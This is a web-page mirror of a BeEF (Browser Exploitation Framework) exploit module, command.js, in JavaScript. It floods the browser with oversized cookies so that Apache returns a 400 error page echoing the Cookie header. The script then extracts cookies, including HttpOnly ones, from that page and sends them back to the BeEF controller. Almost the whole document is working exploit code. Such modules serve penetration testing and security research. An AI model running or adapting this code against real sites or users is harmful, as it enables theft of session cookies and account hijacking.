Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/apache_cookie_disclosure/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// BASED ON https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08
8
9
beef.execute(function() {
10
11
function setCookies (good) {
12
13
var str = "";
14
15
for (var i=0; i< 819; i++) {
16
str += "z";
17
}
18
19
for (i = 0; i < 10; i++) {
20
21
if (good) { // Expire evil cookie
22
var cookie = "beef" + i + "=;expires=" + new Date(+new Date()-1).toUTCString() + "; path=/;";
23
} else { // Set evil cookie
24
var cookie = "beef" + i + "=" + str + "; path=/";
25
}
26
document.cookie = cookie;
27
}
28
}
29
30
function makeRequest() {
31
setCookies();
32
33
function parseCookies () {
34
var cookie_dict = {};
35
36
// React on 400 status
37
if (xhr.readyState === 4 && xhr.status === 400) {
38
39
// Replace newlines and match <pre> content
40
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
41
42
if (content.length) {
43
44
// Remove "Cookie:" prefix
45
content = content[1].replace("Cookie: ", "");
46
47
var cookies = content.replace(/beef\d=z+;?/g, '').split(/;/g);
48
49
// Add cookies to object
50
for (var i=0; i<cookies.length; i++) {
51
var s_c = cookies[i].split('=',2);
52
cookie_dict[s_c[0]] = s_c[1];
53
}
54
}
55
56
// Unset malicious cookies
57
setCookies(true);
58
59
var result = JSON.stringify(cookie_dict);
60
61
beef.net.send("<%= @command_url %>", <%= @command_id %>, "cookies="+result);
62
63
}
64
}
65
66
// Make XHR request
67
var xhr = new XMLHttpRequest();
68
xhr.onreadystatechange = parseCookies;
69
xhr.open("GET", "/", true);
70
xhr.send(null);
71
}
72
73
makeRequest();
74
75
});
76